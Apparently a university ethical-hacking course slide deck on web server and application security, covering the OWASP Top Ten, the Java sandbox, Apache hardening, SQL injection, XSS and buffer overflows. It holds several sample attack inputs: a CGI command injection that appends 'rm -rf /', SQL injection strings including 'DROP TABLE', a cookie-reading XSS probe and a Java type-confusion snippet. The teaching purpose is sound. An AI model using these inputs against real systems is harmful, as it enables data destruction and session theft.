J. A. Drew Hamilton, Jr., Ph.D. - Mississippi State Universityweb.cse.msstate.edu/~hamilton/P3I/CEH/lessons/6_Web_Security.pdf · • A7-Insufficient Attack Protection – The majority

Mississippi State University Center for Cyber Innovation 1

J. A. “Drew” Hamilton, Jr., Ph.D. Director, Center for Cyber Innovation

Professor, Computer Science & Engineering

CCI Post Office Box 9627 Mississippi State, MS 39762

Voice: (662) 325-2294 Fax: (662) 325-7692 [email protected]


Web-Based Hacking: Servers and Applications

Dr. Drew Hamilton Reference: Ralph Durkee Reference: Matt Walker

All-in-One CEH Certified Ethical Hacker


Section Objectives

•  Identify features of common web server architecture

•  Identify web application function and architecture points

•  Describe web server and web application attacks •  Identify web server and application vulnerabilities •  Identify web application hacking tools


OWASP 2017 Top Ten Vulnerabilities (1) •  A1-Injection

–  Injection flaws, such as SQL, OS, XXE, and LDAP injection occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization.

•  A2-Broken Authentication & Session Management –  Application functions related to authentication and session

management are often implemented incorrectly, allowing attackers to compromise passwords, keys, or session tokens, or to exploit other implementation flaws to assume other users’ identities (temporarily or permanently).

•  A3-Cross-Site Scripting (XSS) –  XSS flaws occur whenever an application includes untrusted data

in a new web page without proper validation or escaping, or updates an existing web page with user supplied data using a browser API that can create JavaScript. XSS allows attackers to execute scripts in the victim’s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.


OWASP 2017 Top Ten Vulnerabilities (2) •  A4-Broken Access Control

–  Restrictions on what authenticated users are allowed to do are not properly enforced. Attackers can exploit these flaws to access unauthorized functionality and/or data, such as access other users' accounts, view sensitive files, modify other users’ data, change access rights, etc.

•  A5-Security Misconfiguration –  Good security requires having a secure configuration defined and

deployed for the application, frameworks, application server, web server, database server, platform, etc. Secure settings should be defined, implemented, and maintained, as defaults are often insecure. Additionally, software should be kept up to date.

•  A6-Sensitive Data Exposure –  Many web applications and APIs do not properly protect sensitive data, such

as financial, healthcare, and PII. Attackers may steal or modify such weakly protected data to conduct credit card fraud, identity theft, or other crimes. Sensitive data deserves extra protection such as encryption at rest or in transit, as well as special precautions when exchanged with the browser.


OWASP 2017 Top Ten Vulnerabilities (3)

•  A7-Insufficient Attack Protection –  The majority of applications and APIs lack the basic ability to

detect, prevent, and respond to both manual and automated attacks. Attack protection goes far beyond basic input validation and involves automatically detecting, logging, responding, and even blocking exploit attempts. Application owners also need to be able to deploy patches quickly to protect against attacks.

•  A8-Cross-Site Request Forgery (CSRF) –  A CSRF attack forces a logged-on victim’s browser to send a

forged HTTP request, including the victim’s session cookie and any other automatically included authentication information, to a vulnerable web application. Such an attack allows the attacker to force a victim’s browser to generate requests the vulnerable application thinks are legitimate requests from the victim.


OWASP 2017 Top Ten Vulnerabilities (4) •  A9-Using Components with Known Vulnerabilities

–  Components, such as libraries, frameworks, and other software modules, run with the same privileges as the application. If a vulnerable component is exploited, such an attack can facilitate serious data loss or server takeover. Applications and APIs using components with known vulnerabilities may undermine application defenses and enable various attacks and impacts.

•  A10-Underprotected APIs –  Modern applications often involve rich client

applications and APIs, such as JavaScript in the browser and mobile apps, that connect to an API of some kind (SOAP/XML, REST/JSON, RPC, GWT, etc.). These APIs are often unprotected and contain numerous vulnerabilities.


Background

•  Separation of program and data is once more abolished by web-based applications –  Content providers embed executable content in documents to create

interactive web pages that can process user input •  Computation is moved back to the client

–  Documents include executable code –  Clients run on quite powerful machines

•  Servers free themselves by offloading computation to clients •  Clients need protection from rogue content providers

•  Mobile code moves from machine to machine collecting information from different places or looking for spare computing resources

•  Users are forced to become sys admins and make policy decisions


Browsers

•  Provide “bells and whistles” to support attractive presentation of content

•  Is a service layer for web applications •  Includes the protocols to communicate with web

servers •  Manage security relevant information for the

client


Browsers in the Trusted Computer Base

•  Browsers handle web traffic –  has to indicate return address as a minimum –  lack of privacy protection as the server can build up a

database about its clients •  Browsers manage default settings and preferences

–  default settings include the location of executables –  security prefs indicate the protection clients want to apply to

their web session •  Browsers keep a cache of recently visited pages

–  this is convenient for the user –  consider using a terminal in an airport lounge

•  Browsers often run in “system mode” with full access to all system resources


Browsers in the Trusted Computer Base (cont.)

•  Web security applications use encryption and digital signatures –  When performed for the client, browser entrusted with the client’s

private keys –  Browsers today come with the root verification keys of major

certification bodies –  Browser must protect

•  verification keys from modification •  signature keys from disclosure •  encryption keys from disclosure

•  Browsers integrate other comm services like email –  Unnecessary use of a complex program to run email –  Email messages can exploit browser bugs –  Unexpected interactions

•  Overall, browsers being used for functions they were not intended for


CGI Scripts

•  Common Gateway Interface –  Metalanguage (middleware) –  translates URLs or HTML forms into runnable programs –  Scripting languages used

•  Perl, TCL, etc. •  Server Side Includes (SSIs) •  SSI in-lines

–  example: page counter

Client

Server executes

URL, HTML Form cgi

scripts


Sample CGI Attack

•  A script for sending a file to a client may look like: cat thefile | mail clientaddress

•  where thefile is the name of the file and clientaddress is the mail address of the client

•  When a malicious user enters: cat thefile | mail user@address | rm –rf/

•  as the mail address the server will execute and after mailing the file to the user, delete all files the script has permission to delete


Options for aliasing CGI on a UNIX Server

•  Script-aliased CGI: –  all CGI scripts are put into one directory –  e.g. ./cgi-bin in the web server root directory, e.g. /var/

httpd –  EASIER to find and track all CGI scripts

•  Non-script-aliased CGI: –  all CGI scripts are identified by their extension, e.g. .cgi.


Securing CGI Scripts on UNIX •  Need UID for web server program

–  do not run web server program as “root” •  Create a special web server UID and carefully control its

access rights –  Do not share UID with other services

•  Conduct code review of installed CGI scripts –  use public resources for checking –  Different issues between say ENS and Earthlink

•  EXEC operator with argument cmd <!#exec cmd = “myprogram myparamters” -> –  passes the string myprogram myparameters to /bin/sh for

execution •  malice can come from the program or the parameters, particularly if

myparameters contains a shell escape –  Options Includes NOEXEC –  Unescape operation gets rid of shell escapes in input coming

from the client by commenting out escape characters


Cookies •  Where web servers store information about their

customers –  searching large customer databases on server costly

•  HTTP requests do NOT automatically identify individual users –  Thus easier to use a cooperating browsers’ customer side –  Server requests browser to store a cookie that contains

information the server will use the next time the client calls •  .netscape/cookies

•  Cookies give browsers the chance to create stateful HTTP sessions

•  Privacy –  cookies stored by the browser create client profiles


UNIX Cookie Example (.netscape/cookies)

•  www.marion-institute.org FALSE / FALSE 2137622427 CFID 475137

•  www.marion-institute.org FALSE / FALSE 2137622427 CFTOKEN 2642479

•  .bravenet.com TRUE / FALSE 1373583329 HASCOOKIES 1

•  .bravenet.com TRUE / FALSE 1293837163 BNUC366777 1058309425

•  marionmilitary.edu FALSE / FALSE 2137622427 CFID 475161

•  marionmilitary.edu FALSE / FALSE 2137622427 CFTOKEN 92849103


Environment for Applets •  Users cannot rely

on prior acquaintance and trust relationship with the source of an applet

•  Few users are willing to rule personally on each access request made by an applet

•  Client’s operating system cannot be expected to offer any protection


Language Design Decisions (Java)

•  The language itself should make it more difficult for programs to create damage.

•  The execution environment provides mechanisms for access control

•  The security policies enforced by the execution environment have to be set correctly


Security for Executable Java Applets (Objectives)

•  Applets do not get access to the user’s file system

•  Applets cannot obtain information about the user’s name, email address, machine configuration, etc.

•  Applets may make outward connections only back to the server they came from

•  Applets can only pop-up windows that are marked “untrusted”

•  Applets cannot reconfigure the system, e.g. by creating a new class loader or a new security manager


Summation of Web Threats Threats Consequences Countermeasures

Integrity • Modification of user data • Trojan horse browser • Modification of memory • Modification of message traffic in transit

• Loss of information • Compromise of machine • Vulnerability to all other threats

• Cryptographic checksums

Confidentiality • Eavesdropping on the Net • Info theft from server • Info theft from client • Info about network configuration • Info about which clients talk to server

• Loss of Information • Loss of Privacy

• Encryption, • Web Proxy

Denial of Service

• Killing of user threads • Flooding machine with bogus threats • Filling up disk or memory • Isolating machines by DNS attack

• Disruptive • Annoying • Prevent user from getting work done

• Difficult to prevent

Authentication • Impersonation of legitimate users • Data Forgery

• Misrepresentation of user • Belief that false information is valid

• Cryptographic techniques


Language Design Decisions (Java)

•  The language itself should make it more difficult for programs to create damage.

•  The execution environment provides mechanisms for access control

•  The security policies enforced by the execution environment have to be set correctly


Java Review: Applets vs. Applications From: Java in a Nutshell – Flanagan •  “A program in Java consists of one or more class

definitions, each of which has been compiled into its own .class file of Java Virtual Machine object code.” –  One of these classes must define a method main(), which is

where the program starts running. –  To invoke a Java program you run the Java interpreter, java,

and specify the name of the class that contains the main() method.

•  A Java applet is NOT an application – it is a Java class that is loaded and run by an already running Java application such as a web browser or an applet viewer.

•  Note: Ada 95 has this capability – i.e. “Adapplets.”


Security for Executable Java Applets (Objectives)

•  Applets do not get access to the user’s file system

•  Applets cannot obtain information about the user’s name, email address, machine configuration, etc.

•  Applets may make outward connections only back to the server they came from

•  Applets can only pop-up windows that are marked “untrusted”

•  Applets cannot reconfigure the system, e.g. by creating a new class loader or a new security manager


Applications versus Applets •  An applet loaded across the network it is not allowed to:

–  read/write/delete files on the client file system •  no use of File.delete() method or sys calls rm or del

–  rename files on the client file system •  no use of File.renameTo() or mv or rename commands

–  conduct directory operations •  content listing •  check for existence of a file •  obtain file information – size, type and modification time stamp

–  conduct network operations •  create a network connection to any computer other than the host from which it

originated •  listen for or accept network connections on any port in the client system •  specify any network control functions – SocketImplFactory, etc......

–  read or define any system properties –  run or exit any program

•  no use of Runtime.exec(), System.exit() or Runtime.exit() methods –  load dlls on the client system using load() or loadLibrary() –  thread creation or manipulation –  create a new ClassLoader or SecurityManager –  define classes that are part of packages on the client system


Three roads for Java byte code

•  External byte code loaded across the network must be verified •  Locally developed byte code is subject to the same checks unless it is

part of the CLASSPATH •  Byte code from the JDK distribution (and other classes in CLASSPATH)

does NOT pass through the verifier, may be checked by Security Manager

byte code

JDK & built-in byte

code

External byte code

Local Java

Source Security

Manager

javac Verifier Applet Class Ldr

File System Loader


Java Sandbox

•  Executable Content (applets) from remote web sites

Byte code verifier

Applet class loader

Security manager

Executable code

Browser

Client Java source code

Byte code compiler

Server

Applet (byte code)

Web Page


Byte Code Verifier

•  Checks for: –  the class file is in the proper format –  stacks will not overflow –  all operands have the correct type –  there will be no data conversion between types –  all references to other classes are legal

•  Byte code verifier reduces the workload on the interpreter –  guaranteed code properties do not have to be checked

again •  However, security still depends on the run-time

environment


Class Loader in a Dynamic Environment

•  The Java environment has classes arriving and departing dynamically

•  The class loader divides classes that it loads into several distinct name spaces according to where the classes came from

•  Local classes are kept distinct from classes loaded from other machines

•  Furthermore, these outside classes are protected from each other.

Local Classes

Classes from

inside firewall

Classes from

outside firewall


Applet Class Loader

•  Class loader protects the integrity of the run-time environment

•  Applets must not be allowed to create their own class loaders –  Applets are handled by the applet class loader

•  Java comes with its own class library –  The CLASSPATH environment variable specifies the location

of built-in classes –  The security issues associated with altering CLASSPATH

should be obvious •  “Spoofing” of the CLASSPATH can be avoided by:

–  If the applet class loader first searches the built-in classes in the local name space

–  Then expand search to the class making the request


Security Manager

•  Reference Monitor of the Java Security Model –  Performs run-time checks on ‘dangerous’ methods

•  Java classes are grouped into packages –  packages facilitate rudimentary access control to

classes •  Variables and methods can be declared as

follows: –  Private: only the class creating the variable or method

has access –  Protected: only the class creating the variable or

method and its subclasses have access –  Public: all classes have access –  None of the above: only classes within the same

package have access


Security Manager Functions •  Prevent installation of new Class Loaders.

–  The Class Loader’s job is to keep the name spaces properly organized.

–  Because things like file I/O permission will depend on whether or not a class is local, the Class Loader has an important job.

•  Must not be subject to spoofing

•  Protecting threads and thread groups –  Not fully functional....

•  Controlling the creation of OS programs •  Controlling access to OS processes •  Controlling file system operations such as read & write

–  access to local files strictly controlled •  Controlling socket operations such as connect and accept •  Controlling access to Java packages (or groups of classes)


Some Compromises of the “Sandbox”

•  MSIE Cache Exploit •  Advanced Type Systems in Computing •  Mark LaDue’s “Public Enemy” •  Others I chose not to experiment with:

–  diskhog.java –  triplethreat.java –  mutator.java


Microsoft Internet Explorer - "Where do you want (your data) to go today?"

•  The object of the exercise here is to open a connection to a port on the local machine, and provide a two-way pipe back to a remote machine on the Internet. –  This is achieved by using the Java net.socket class to talk to

the local machine, and the showDocument() thingy for the remote.

–  This exploit relies on the fact that Java behaves differently when loaded across the net, to a load from local hard disk.

–  When loaded across the net, the applet is not allowed to open a network socket to anything other than the server that delivered it in the first place

•  (see http://www.javasoft.com/sfaq/#socket for details). –  This is enforced by the centralized security manager class.

However, if the applet is loaded from local disk, this limitation is relaxed, allowing a socket to be opened on the browsing machine.


Type Systems for Secure Remote Evaluation •  The project aims to improve our understanding of the role of type

systems in programming languages. –  Type systems provide a very elegant separation of concerns. –  Static analyses are typically much easier to reason about when

captured by a logical framework such as a type system. –  Implementations of the analyses are separate algorithmic issues that

have their own soundness and completeness proof obligations. –  This project is concerned with developing new type systems and

techniques for formal proofs of semantic soundness, algorithmic issues, and computational lower bounds for these systems.

•  This effort aims to identify the rudiments of a provably-secure programming language. –  It requires formulation of appropriate security and safety properties so

that one can prove with respect to a formal semantics that every well-typed program cannot violate these properties.

–  For example, it would be nice to prove that every well-typed Java Applet when executed by Netscape does not cause Netscape to crash. Clearly, there isn't such a proof as evidenced by enabling Java in them and clicking here to run a tiny (killerApp)let.


PublicEnemy.java by Mark LaDue This Java application directly attacks Java class files. Given a target directory, it searches that directory and all subdirectories for Java class files. Once a class file is located, PublicEnemy alters the contents of its "access_flags" for the class, its fields, and its methods. The results are the following: 1. The class becomes public. 2. Any "static" or "volatile" fields remain as such; "final" fields become

"non-final"; "transient" fields become "non-transient;" and "private" or "protected" fields become "public," while "public“ fields remain so.

3. Any "abstract, "native," "synchronized," or "static" methods remain as such; "final" methods become "non-final;" and "private" or "protected" methods become "public," while "public" methods remain so.

This should open the class to the maximum amount of inspection and abuse without directly affecting its ability to run. Note that the size of the resulting class is the same as the original. The ability to modify Java class files on the fly is just the skill that a Java Platform Virus will require. The fact that it's this easy bodes ill....


Summation of Web Threats Threats Consequences Countermeasures

Integrity • Modification of user data • Trojan horse browser • Modification of memory • Modification of message traffic in transit

• Loss of information • Compromise of machine • Vulnerability to all other threats

• Cryptographic checksums

Confidentiality • Eavesdropping on the Net • Info theft from server • Info theft from client • Info about network configuration • Info about which clients talk to server

• Loss of Information • Loss of Privacy

• Encryption, • Web Proxy

Denial of Service

• Killing of user threads • Flooding machine with bogus threats • Filling up disk or memory • Isolating machines by DNS attack

• Disruptive • Annoying • Prevent user from getting work done

• Difficult to prevent

Authentication • Impersonation of legitimate users • Data Forgery

• Misrepresentation of user • Belief that false information is valid

• Cryptographic techniques


Static versus Dynamic Type Checking

•  Java has no dynamic memory allocation –  does not allow you to cast object or array references into

integers or vice-versa –  does not allow “pointer arithmetic” –  does not allow you to compute the size in bytes of any

primitive type or object •  Dynamic type checking is inefficient

–  to improve performance, Java uses static type checking •  faster, but less secure than say, Ada

•  In a type-confusion attack, a malicious applet creates two pointers to the same object-with incompatible type tags. –  When this happens, the Java system is in trouble. –  The applet can write into that memory address through one

pointer, and read it through another pointer. –  The result is that the applet can bypass the typing rules of

Java, completely undermining its security.


Type Confusion Attack Example •  The applet has two pointers to the same memory: one pointer

tagged with type T and one tagged with type U. Suppose that T and U are defined like this: class T { SecurityManager x; } class U { MyObject x; }

•  Now the applet can run code like this: T t = the pointer tagged T; U u = the pointer tagged U; t.x = System.getSecurity(); // the Security Manager MyObject m = u.x;


Exploit Results

•  The result is that the object ends up with a pointer, tagged as having type MyObject, to the memory representing Java's Security Manager object.

•  By changing the fields of m, the applet can then change the Security Manager, even though the Security Manager's fields have been declared private.

•  While this example showed how type confusion can be used to corrupt the Security Manager, the tactic may be exploited to corrupt virtually any part of the running Java system.

http://www.securingjava.com/chapter-five/chapter-five-7.html


Web Conclusion

•  Fundamental engineering tradeoff: – Functionality versus

Security – Always an inverse

relationship – Evident in many

aspects of security


Apache Web Server


•  Start with a Security Hardened OS •  Unix or Linux recommended for

Internet •  Don’t mix other high risk, or critical

services •  Regularly Apply OS and Apache

updates

Secure Foundation OS Security


•  DNS Level attacks against your clients /customers

•  Secure your Authoritative and Caching DNS Servers with CIS BIND Benchmark

•  DNS Pharming Attacks n  Uses DNS Cache poisoning to harvest victims n  Bogus IP Addresses provided to Vulnerable DNS Cache n  Typically requires guessing DNS Query-ID and port n  Clients resolve domain name are directed to a spoofed hostile

website instead of trusted website

DNS Cache Poisoning Attacks


•  Much more effective than traditional DNS cache poisoning. Uses: n  Requests many random nonexistent host names n  Send many negative responses with guessed

QID n  Response: Go to server NAME & IP has the

answer. n  Victim caches the IP address of “DNS” server n  Game over the “DNS” server was the target

•  Only Complete Prevention requires DNSSEC

•  Securing the Caching DNS Server helps

Dan Kaminsky’s DNS Attack


•  Don’t run Apache as root •  Use dedicated locked Account •  Account with Invalid Shell such as /dev/null •  Locked, with no valid password

Example Server Configuration User apache Group apache # grep apache /etc/passwd /etc/shadow apache:x:48:48:Apache:/var/www:/dev/null apache:!!:14428:0:99999:7:::

Apache User Account


•  Ownership and Permissions •  Apache Configuration Files

•  Read-write by group Web Admin •  Owned by Root •  No access for Other •  Apache reads these as root, before starting

•  Document Root (and most sub-directories) •  Read-write by group Web Development •  Readable by Other •  Owned by root

Set Minimal Permissions


•  More Ownership and Permissions •  CGI-BIN Directories

•  Read-write by group Web Admin •  Readable & Executable by Other •  Owned by root

•  Apache bin files (apachectl and httpd) •  Read & Execute by Wed Admin •  Read & Execute by root

Set Minimal Permissions (2)


•  Modules you probably DON’T need •  mod_dav - Distributed Authoring and

Versioning (WebDAV) functionality •  mod_dav_fs – File System for mod_dav •  mod_status – Provide Web Server status info. •  mod_proxy – HTTP Proxy •  mod_autoindex - Directory listings •  mod_cern_meta - CERN HTTPD Meta file

semantics (old not used)

Disable Unnecessary Modules


•  Default HTML Files •  Manual •  Welcome page •  Directory Index icons

•  Sample CGI files (e.g. printenv) •  Apache source code files •  Apache user files (.bashrc etc)

Remove Default Files


•  Options •  All – Everything except Multiviews •  ExecCGI – Execution of CGI scripts •  FollowSymLinks – Will follow symbolic links •  SymLinksIfOwnerMatch –only if owner

matches •  Includes - Enables Server Side include •  IncludesNOEXEC – SSI without #exec •  AllowOverride – Allow usage of .htaccess

files. •  Multiviews - Content negotiation (e.g.

Language)

Options Directive


•  Requires mod_auth enabled •  Send base64 encoded username and

password sent with every request. •  Needs SSL to protect username/password •  No password guessing protection built-in •  Sample Configuration <Directory /var/www/html/members> AuthType Basic AuthName “Memebers Access" AuthUserFile /path/to/passwordfile Require valid-user </Directory>

HTTP Basic Authentication

Mississippi State University Center for Cyber Innovation 53 Sep 21, 2009

•  Setup Apache Password file htpasswd -c /path/to/passwordfile jsmith New password: password Re-type new password: password Adding password for user jsmith

•  Don’t place Password file in the DocRoot

•  Apache needs Read-only access •  Don’t allow other read access.

HTTP Basic Authentication (2)


•  Requires mod_auth and mod_digest enabled

•  Uses Challenge – Response •  Response is encrypted with the password •  Does not protect data, still needs SSL •  No password guessing protection built-in •  Sample Configuration <Directory /var/www/html/members> AuthType Digest AuthName “Members Access" AuthUserFile /path/to/passwordfile Require valid-user </Directory>

HTTP Digest Authentication


  Sample LogWatch output with Web Attacks Requests with error response codes 404 Not Found //README: 2 Time(s) //chat/messagesL.php3: 1 Time(s) //graph_image.php: 1 Time(s) /PhpMyChat//chat/messagesL.php3: 1 Time(s) /horde-3.0.5//README: 2 Time(s) 406 Not Acceptable /: 2 Time(s) /robots.txt: 1 Time(s)

Log Monitoring


HTTP Status Codes

•  1xx: Informational –  Request received, continuing process.

•  2xx: Success –  The action was successfully received, understood, and

accepted. •  3xx: Redirection

–  Further action must be taken in order to complete the request.

•  4xx: Client Error –  The request contains bad syntax or cannot be fulfilled.

•  5xx: Server Error –  The server failed to fulfill an apparently valid request.


 More Samples of Web Scans / Attacks  Looking for open proxy & phone apps?

400 Bad Request http://www.wantsfly.com/prx.php?hash=457F6 ...

404 Not Found /apple-touch-icon.png: 1 Time(s) /iphone/: 2 Time(s) /mobi/: 2 Time(s) /mobile/: 2 Time(s) /pda/: 2 Time(s) /sql/: 1 Time(s)

Log Monitoring (2)


From: Amazon EC2 Abuse [email protected] Thank you for submitting your abuse report. We have received your report of Intrusion Attempts originating from our network. We have completed an initial investigation of the issue and learned that the activity you noticed did indeed originate from an Amazon EC2 instance. These intrusion attempts that you report were not, however, initiated by Amazon. One of the biggest advantages of Amazon EC2 is that developers are given complete control of their instances. . . . That said, we do take reports of unauthorized network activity from our environment very seriously. It is specifically forbidden in our terms of use. This instance has since been terminated.

Abuse Responses


What is a SQL Injection Attack?

•  Many web applications take user input from a form

•  Often this user input is used literally in the construction of a SQL query submitted to a database. For example: –  SELECT productdata FROM table WHERE productname

= ‘user input product name’; •  A SQL injection attack involves placing SQL

statements in the user input


Product Search:

•  This input is put directly into the SQL statement within the Web application: –  $query = “SELECT prodinfo FROM prodtable WHERE

prodname = ‘” . $_POST[‘prod_search’] . “’”; •  Creates the following SQL:

–  SELECT prodinfo FROM prodtable WHERE prodname = ‘blah‘ OR ‘x’ = ‘x’

–  Attacker has now successfully caused the entire database to be returned.

An Example SQL Injection Attack

blah‘ OR ‘x’ = ‘x


•  What if the attacker had instead entered: –  blah‘; DROP TABLE prodinfo; --

•  Results in the following SQL: –  SELECT prodinfo FROM prodtable WHERE prodname = ‘blah’; DROP TABLE

prodinfo; --’ –  Note how comment (--) consumes the final quote

•  Causes the entire database to be deleted –  Depends on knowledge of table name –  This is sometimes exposed to the user in debug code called during a

database error –  Use non-obvious table names, and never expose them to user

•  Usually data destruction is not your worst fear, as there is low economic motivation

A More Malicious Example


Other injection possibilities

•  Using SQL injections, attackers can: –  Add new data to the database

•  Could be embarrassing to find yourself selling politically incorrect items on an eCommerce site

•  Perform an INSERT in the injected SQL –  Modify data currently in the database

•  Could be very costly to have an expensive item suddenly be deeply ‘discounted’

•  Perform an UPDATE in the injected SQL –  Often can gain access to other user’s system

capabilities by obtaining their password


Defenses

•  Use provided functions for escaping strings –  Many attacks can be thwarted by simply using the SQL

string escaping mechanism •  ‘ à \’ and “ à \”

–  mysql_real_escape_string() is the preferred function for this

•  Not a silver bullet! –  Consider:

•  SELECT fields FROM table WHERE id = 23 OR 1=1 •  No quotes here!


More Defenses

•  Check syntax of input for validity –  Many classes of input have fixed languages

•  Email addresses, dates, part numbers, etc. •  Verify that the input is a valid string in the language •  Sometime languages allow problematic characters (e.g.,

‘*’ in email addresses); may decide to not allow these •  If you can exclude quotes and semicolons that’s good

–  Not always possible: consider the name Bill O’Reilly •  Want to allow the use of single quotes in names

•  Have length limits on input –  Many SQL injection attacks depend on entering long

strings


Even More Defenses

•  Scan query string for undesirable word combinations that indicate SQL statements –  INSERT, DROP, etc. –  If you see these, can check against SQL syntax to see if

they represent a statement or valid user input •  Limit database permissions and segregate users

–  If you’re only reading the database, connect to database as a user that only has read permissions

–  Never connect as a database administrator in your web application


More Defenses

•  Configure database error reporting –  Default error reporting often gives away information that

is valuable for attackers (table name, field name, etc.) –  Configure so that this information is never exposed to a

user •  If possible, use bound variables

–  Some libraries allow you to bind inputs to variables inside a SQL statement

–  PERL example (from http://www.unixwiz.net/techtips/sql-injection.html)

$sth = $dbh->prepare("SELECT email, userid FROM members WHERE email = ?;");

$sth->execute($email);


Connection String Parameter Pollution

•  CSPP (Connection String Parameter Pollution) is an injection attack that takes advantage of web applications that communicate with databases by using semicolons to separate each parameter.

•  It has been around since 2010, but there's not much written about it or attention paid to it, for whatever reason.

•  If carried out successfully, this attack can be used to steal user identities and hijack web credentials.

–  Matt Walker


Code Injection

•  Code injection is the exploitation of a computer bug that is caused by processing invalid data.

•  Injection is used by an attacker to introduce (or "inject") code into a vulnerable computer program and change the course of execution.

•  The result of successful code injection is often disastrous (for instance: code injection is used by some computer worms to propagate).


Frame Injection •  A frame injection attack is an attack on Internet

Explorer 5, Internet Explorer 6 and Internet Explorer 7 to load arbitrary code in the browser.

•  This attack is caused by Internet Explorer not checking the destination of the resulting frame, therefore allowing arbitrary code such as Javascript or VBScript.

•  This also happens when code gets injected through frames due to scripts not validating their input.

•  This other type of frame injection affects all browsers and scripts that do not validate untrusted input.


SOAP Injection

•  Simple Object Access Protocol (SOAP) is designed to exchange structured information in web services in computer networks and uses XML to format information.

•  You can inject malicious query strings (much like SQL injection, as a matter of fact) that may allow you to bypass authentication and access databases behind the scenes.

•  SOAP is compatible with HTTP and SMTP, and messages are typically “one way” in nature.


HTTP Header Injection

•  HTTP header injection is a general class of web application security vulnerability which occurs when Hypertext Transfer Protocol (HTTP) headers are dynamically generated based on user input.

•  Header injection in HTTP responses can allow for HTTP response splitting, Session fixation via the Set-Cookie header, cross-site scripting (XSS), and malicious redirect attacks via the location header.


Cross-Site Scripting (XSS)

•  Occurs any time… –  Raw data from attacker is sent to an innocent user

•  Raw data… –  Stored in database –  Reflected from web input (form field, hidden field, url,

etc…) –  Sent directly into rich JavaScript client

•  Virtually every web application has this problem –  Try this in your browser –

javascript:alert(document.cookie)


Cross-Site Scripting (XSS)

•  Allows to embed malicious code:

–  JavaScript (AJAX!), VBScript, ActiveX, HTML, or Flash

•  Threats: phishing, hijacking, changing of user settings, cookie theft/poisoning, false advertising , execution of code on the client, ...


XSS Types

•  Reflected –  Link in other website / e-mail link

•  Stored –  e.g. bulletin board, forum

•  DOM-Based


Cross-Site Scripting Illustrated

Application with stored XSS vulnerability

3

2

Attacker sets the trap – update my profile

Attacker enters a malicious script into a web page that stores the data on the server

1

Victim views page – sees attacker profile

Script silently sends attacker Victim’s session cookie

Script runs inside victim’s browser with full access to the DOM and cookies

Custom Code

Acc

ount

s Fi

nanc

e A

dmin

istr

atio

n Tr

ansa

ctio

ns

Com

mun

icat

ion

Kno

wle

dge

Mgm

t E-

Com

mer

ce

Bus

. Fun

ctio

ns


Example


C, an average programming language

•  C is inherently unsafe – programs may overflow buffers at will.

•  No runtime checks that prevent writing past the end of a buffer.

•  Reading or writing past the end of a buffer can cause a number of diverse behaviors –  Programs may act in strange ways –  Programs may fail completely –  Programs may proceed without any noticeable

difference in execution.


Buffer Overrun Side Effects

•  Depend on: –  How much data are written past the buffer bounds –  What data (if any) are overwritten when the buffer gets

full and spills over –  Whether the program attempts to read data that are

overwritten during the overflow –  What data end up replacing the memory that gets

overwritten


Security versus Poor Programming

•  Consider a boolean flag in main memory –  The flag determines whether the user running the

program can access private files –  The overflow overwrites the boolean flag –  Illegal access to the files provided to attacker

•  Stack Smashing –  Careless use of data buffers allocated on a program’s

runtime stack (i.e. local variables and function arguments)

–  Attacker can usually run arbitrary code •  Place attack code somewhere (i.e.code to invoke a shell) •  Overwrite the stack in such a way that control gets passed

to the attack code


Heap Overflow versus Stack Overflow •  Common goal of overflow attacks are root shells •  Attacks are typically against a particular

architecture (OS/machine combination) •  One common technique is to find a buffer

overflow in a suid programs –  ex. lpr, xterm and eject to name a few

•  Heaps are harder to exploit because they are dynamic, not static. –  programming strategy is to new or malloc() everything –  main protection is that fewer people know how to exploit

heap overflows –  Generally takes longer to set up a heap overflow attack


Weak C Functions •  strcpy() •  strcat() •  sprint() •  scanf() •  sscanf() •  fscanf() •  vfscanf() •  vscanf() •  vsscanf() •  streadd() •  strecpy() •  strtrns()


strcpy versus strncpy char *strcpy(s, ct)

–  copy string ct to string s, including ‘\0’; return s char *strncpy(s,ct,n)

–  copy at most n characters of string ct to s; return s –  pad with ‘\0’s if t has fewer than n characters

•  explicit check if(strlen(src) >= dst_size) {

/* raise an error condition */ } else {

strcpy(dst, src); }

•  alternate strncpy(dst, src, dst_size – 1); dst[dst_size – 1] = ‘\0’;


realpath() •  realpath(3C) C Library Functions realpath(3C) NAME realpath - returns the real file name SYNOPSIS #include <stdlib.h> #include <sys/param.h> char *realpath(char *file_name, char *resolved_name); DESCRIPTION realpath() resolves all links and references to ``.'' and ``..'' in

file_name and stores it in resolved_name. It can handle both relative and absolute path names.

For absolute path names and the relative names whose resolved name cannot be expressed relatively (for example, ../../rel-dir), it returns the resolved absolute name. For the other relative path names, it returns the resolved relative name. resolved_name must be big enough (MAXPATHLEN) to contain the fully resolved path name.


Bounds Checking: A Good Thing

•  create your own security problem char buf[1024]; int i = 0; char ch; while ((ch = getchar()) != ‘\n’) {

if (ch == -1) break; buf[i++] = ch;

}

•  Almost any C function that can read in a character is a candidate for an overflow.


Smashing Stacks and Heaps

•  Regions of memory that are usually present: –  program arguments and the program environment –  the program stack (static)

•  stack usually grows as the program executes •  grows toward the heap

–  the heap (dynamic) •  normally grows toward the stack

–  Block Storage Segment (BSS) contains globally available data (global variables)

•  BSS segment normally zeroed out at start-up –  The data segment contains initialized globally available

data such as global variables •  initialized at declaration time

–  Text segment contains the read-only program code


Stack Overflow Attack Outline

1.  Find a stack-allocated buffer we can overflow that allows us to overwrite the return address of the stack frame

2.  Place some hostile code in memory to which we can jump when the function we’re attacking returns

3.  Write over the return address on the stack with a value that causes the program to jump to our hostile code


UNIX Exploit Example

•  Objective: Get a shell –  Long-term: escalate shell privilege to “root”

•  Compile attack code –  extract the binary and insert it into the buffer we are

overrunning –  insert the code snippet before or after the return

address over which we have to write depending on space limitations

•  Figure out exactly where the overflow code should jump to. –  place that address at the exact proper location in the

buffer in such a way that it overwrites the normal return address


Exploit Outline

Position Contents Start of Buffer Our exploit code might fit here

or End of Buffer Our exploit code might fit here

or Other Vars Our exploit code might fit here

or Return Address A jump-to location that will

cause our exploit to run Parameters Our exploit code if it did not fit

elsewhere Rest of Stack Our exploit code, continued,

and any data our code needs


Notes from the Cult of the Dead Cow •  To get this to happen, I fed a

string of 0x80 bytes into a popular conference package called 'Microsoft Netmeeting' through the address field of a 'speeddial' shortcut.

•  EIP happens to be 0x80808080. –  Guess what? –  That's good! –  I found a stack overflow!

•  Now all I have to do is craft my exploit string to have some fun code inside, and tweak four of those 0x80 bytes to point to my exploit string.

